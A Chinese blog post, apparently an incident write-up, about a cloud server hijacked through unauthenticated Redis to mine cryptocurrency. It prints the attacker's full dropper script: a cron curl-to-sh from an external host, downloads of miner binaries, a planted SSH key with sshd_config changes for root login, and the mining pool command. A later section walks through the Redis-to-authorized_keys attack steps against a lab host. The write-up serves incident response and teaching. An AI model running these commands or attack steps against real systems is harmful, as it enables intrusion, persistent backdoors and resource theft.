記錄一次***事件(redis 未授權漏洞利用直接登錄服務器)

聽到朋友說接到阿里雲的報障，提示***把他的服務器當肉雞了，當時有點怕怕，繼而官方的網絡帶寬也爆了進而系統處於癱瘓，當時我需要幫他處理這個問題

1 在沒有查到殺手之前我是先把帶寬&端口用iptables 做了限制這樣能保證我能遠程操作服務器才能查找原因

  

2 在各種netstat –ntlp  的查看下沒有任何異常 在top 下查到了有異常進程還有些異常的這裏就截圖一個

 

3 結果果斷把進程給kill -9  了  沒想到再去ps的時候又來了意思就是會自動啓動它

  這就讓我想到了crond 這個自動任務果不其然 /var/spool/cron/root 這個文件被人做了手腳而且是二進制的聲音乾脆果斷又給刪除了，   以爲這下沒事了結果過了兩分鐘這個文件又來這個就引起我主要了聯想到了是不是有說明守護進程了這樣的事情肯定是有守護進程在才   會發生的了，於是我去百度了下 jyam -c x -M stratum+tcp 果不其然確實有這樣的***，網上說這個***是由於redis未授權登陸漏洞引   起導致***利用的結果我去redis 控制檯登錄一看固然有個莫名其妙的key 剛好這個key 就是ssh的key於是斷定***是從reids的未授權漏   洞登陸進來的（因爲便宜服務器防火牆是關閉狀態的端口全部開放的）

 

4 在服務器上我查了自動任務的文件被***編譯成二進制的源文件代碼，所以我無法得知內容。 但是我在crond的日誌裏面找到了他下    載腳本的鏈接

  

5 代碼大致如下

    exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

 

    echo "*/2 ** * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" >/var/spool/cron/root

    # echo "*/2* * * * ps auxf | grep -v grep | grep yam || /opt/yam/yam -c x -    Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8    Coo:[email protected]:6666/xmr">> /var/spool/cron/root

    echo "*/5 ** * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &">> /var/spool/cron/root

 

    ps auxf | grep-v grep | grep yam || nohup /opt/yam/yam -c x -    Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8    Coo:[email protected]:6666/xmr&

 

    if [ ! -f"/root/.ssh/KHK75NEOiq" ]; then

         mkdir -p ~/.ssh

         rm -f ~/.ssh/authorized_keys*

         echo "ssh-    rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkB    CbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3tx    L6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX    1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFavroot" > ~/.ssh/KHK75NEOiq

         echo "PermitRootLogin yes">> /etc/ssh/sshd_config

         echo "RSAAuthentication yes">> /etc/ssh/sshd_config

         echo "PubkeyAuthenticationyes" >> /etc/ssh/sshd_config

         echo "AuthorizedKeysFile.ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

         /etc/init.d/sshd restart

    fi

 

    if [ ! -f"/opt/yam/yam" ]; then

         mkdir -p /opt/yam

         curl -f -Lhttps://r.chanstring.com/api/download/yam -o /opt/yam/yam

         chmod +x /opt/yam/yam

         # /opt/yam/yam -c x -    Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8    Coo:[email protected]:6666/xmr

    fi

 

    if [ ! -f"/opt/gg3lady" ]; then

         curl -f -Lhttps://r.chanstring.com/api/download/gg3lady_`uname -i` -o /opt/gg3lady

         chmod +x /opt/gg3lady

    fi

 

    # yam=$(ps auxf| grep yam | grep -v grep | wc -l)

    # gg3lady=$(psauxf | grep gg3lady | grep -v grep | wc -l)

    # cpu=$(cat/proc/cpuinfo | grep processor | wc -l)

 

    # curlhttps://r.chanstring.com/api/report?yam=$yam\&cpu=$cpu\&gg3lady=$gg3lady\&arch=`uname-i`

 於是終於找到源頭了，下面我們來分析下這個腳本

 6 腳本分析

  

    echo "*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" > /var/spool
    /cron/root   每兩分鐘來一次這個腳本

        echo "*/5 ** * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &">> /var/spool/cron/root

    這個腳本我不知道幹麼的應該是生成這個自動任務文件的守護進程以至於刪除自動任務文
    件會自動再來一份  腳本進程死了這個自動任務又會起來

    ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratu
    m+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV
    6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr &

    這個是挖礦腳本，***靠這個連接池去挖btc（比特幣）意思就是這個肉雞已經提供了

        下面這個就是一個免密鑰登陸的腳本了

        

下面這兩個是下載文件的腳本跟賦權限

    整個腳本的大致就這樣  

 7  處理方法只要把 /var/spool/cron/root 刪除  /opt/yam/yam   刪除   /opt/gg3lady 刪除  .ssh/KHK75NEOiq 刪除

    把gg3lady  yam     進程結束還有就是sshd_confg 文件還原，把redis***的key刪除應該就沒問題了。但是爲了安全起見還是希望

    重裝服務器，不確保別人 不留其他的漏洞

    關於reidis 未授權登陸漏洞

    漏洞概要

 

        Redis 默認情況下，會綁定在 0.0.0.0:6379，這樣將會將Redis服務暴露到公網上，如果在沒有開啓認證的情況下，可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問Redis以及讀取Redis的數據。***者在未授權訪問Redis的情況下可以利用Redis的相關方法，可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中，進而可以直接登錄目標服務器。

    漏洞概述

 

Redis 默認情況下，會綁定在 0.0.0.0:6379，這樣將會將Redis服務暴露到公網上，如果在沒有開啓認證的情況下，可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問Redis以及讀取Redis的數據。***者在未授權訪問Redis的情況下可以利用Redis的相關方法，可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中，進而可以直接登錄目標服務器。

 

    漏洞描述

Redis 安全模型的觀念是: “請不要將Redis暴露在公開網絡中, 因爲讓不受信任的客戶接觸到Redis是非常危險的” 。

Redis 作者之所以放棄解決未授權訪問導致的不安全性是因爲, 99.99%使用Redis的場景都是在沙盒化的環境中, 爲了0.01%的可能性增加安全規則的同時也增加了複雜性, 雖然這個問題的並不是不能解決的, 但是這在他的設計哲學中仍是不划算的。

因爲其他受信任用戶需要使用Redis或者因爲運維人員的疏忽等原因，部分Redis 綁定在0.0.0.0:6379，並且沒有開啓認證（這是Redis的默認配置），如果沒有進行採用相關的策略，比如添加防火牆規則避免其他非信任來源 ip訪問等，將會導致Redis服務直接暴露在公網上，導致其他用戶可以直接在非授權情況下直接訪問Redis服務並進行相關操作。

利用Redis自身的相關方法，可以進行寫文件操作，***者可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中，進而可以直接登錄目標服務器。  （導致可以執行任何操作）

 

    漏洞影響     

Redis 暴露在公網（即綁定在0.0.0.0:6379，目標IP公網可訪問），並且沒有開啓相關認證和添加相關安全策略情況下可受影響而導致被利用。

這裏我可以演示一遍給大家看看怎麼通過redis未授權漏洞直接免密鑰進行登陸

    ***過程

（注意我本機是162   要***的服務器是161）

1 生成本地服務器私鑰跟公鑰

2 把公鑰寫進我們要***的服務器的redis一個key裏面去 (爲什麼要把公鑰加空格追加到一個文件是因爲redis的存儲)

3  登陸要***的服務器redis控制檯，從新定義redis保存數據的路徑爲configset dir /root/.ssh/（這個是需要知道linux下面ssh 面密鑰登陸的key默認的存放才能設定的默認情況下是/roo/.ssh一般情況下很多管理員都不會去更改），在把reids的dbfilename定於成 linux 下面ssh面密鑰登陸的文件名就好了configset dbfilename "authorized_keys"（默認文件名是authorized_keys 這個廣大linux管理員都這個這個所以這個***還是要點linux功底的），最後保存 save

 

4 激動人心的時刻到了直接ssh 登陸192.168.8.161  無需要密碼就能登陸了

 到這裏我們就可以完全控制別人的服務器了，你先怎麼玩就怎麼玩了（僅供學習研究）

6 這裏我搜了下全球暴露公網的還有10W+的的服務器,（僅供學習研究,希望不要利用教程去做違法的事情）